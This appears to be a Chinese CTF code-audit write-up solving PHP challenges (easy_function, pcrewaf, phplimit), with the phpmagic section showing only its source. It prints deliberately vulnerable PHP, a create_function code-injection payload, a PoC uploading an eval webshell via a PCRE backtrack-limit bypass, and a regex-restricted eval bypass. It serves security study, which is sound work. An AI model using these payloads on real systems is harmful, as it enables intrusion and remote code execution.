0%

代码审计知识星球二周年练手

easy_function

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

正则禁用了a-z0-9_,同时匹配了^$,即在开头结尾加上符合正则的字符就可以绕过后续字符串的匹配,所以思路就是fuzz一下开头结尾,看看会不会存在某个字符使得整个字符串可以绕过正则且函数可以正常执行,写一个fuzz脚本👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date: 2019-10-11 08:44:54
# @Last Modified by: Cyc1e
# @Last Modified time: 2019-10-11 08:53:12
import requests

url = 'http://127.0.0.1/2018/function/www/index.php?action='
for i in xrange(0,256):
char = chr(i) + 'phpinfo'
url1 = url + char
req = requests.get(url = url1)
if 'PHP Version 7.1.9' in req.text:
print hex(i) + ':' + char
break

把源码中$action('', $arg);改成$action(');,跑下fuzz就好了👇

所以前面的字符加上\(即命名空间),就可以绕过正则正常执行,接下在就是构造一个两个参数的函数,并且第二个参数可控,利用create_function的代码注入就可以了,参数arg的为👇

1
arg=Cyc1e;}phpinfo();/*

就可以执行任意函数了~

pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

P神的具体分析:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
PHP由于 .* 匹配了任意字符,而后的 [(`;?>] 匹配中会进行回溯,并且默认设置回溯的次数为100W次,若回溯次数超过100W次,则返回值为false,利用此来绕过if (is_php($data))的判断,直接执行到文件操作代码,P神的POC👇

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

若判断设置为强等于,即‘===’,则返回false一样判断为‘bad request’。

#phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

正则也就是限定了code只能传入php函数,无法构造任意的字符串,那么想要摆脱限制,也就是不在参数中进行构造,利用get参数将构造的包含就行了,这里贴个图👇

题目事nginx环境,所以也就是用eval(implode(reset(get_defind_vars())))构造就好了。

easy - phpmagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">

<title>Domain Detail</title>
<style>
pre {
width: 100%;
background-color: #f6f8fa;
border-radius: 3px;
font-size: 85%;
line-height: 1.45;
overflow: auto;
padding: 16px;
border: 1px solid #ced4da;
}
</style>
</head>
<body>

<div class="container">
<div class="row">
<div class="col">
<form method="post">
<div class="input-group mt-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">dig -t A -q</span>
</div>
<input type="text" name="domain" class="form-control" placeholder="Your domain">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="submit">执行</button>
</div>
</div>
</form>
</div>

</div>

<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?></pre>
</div>
</div>

</div>

</body>
</html>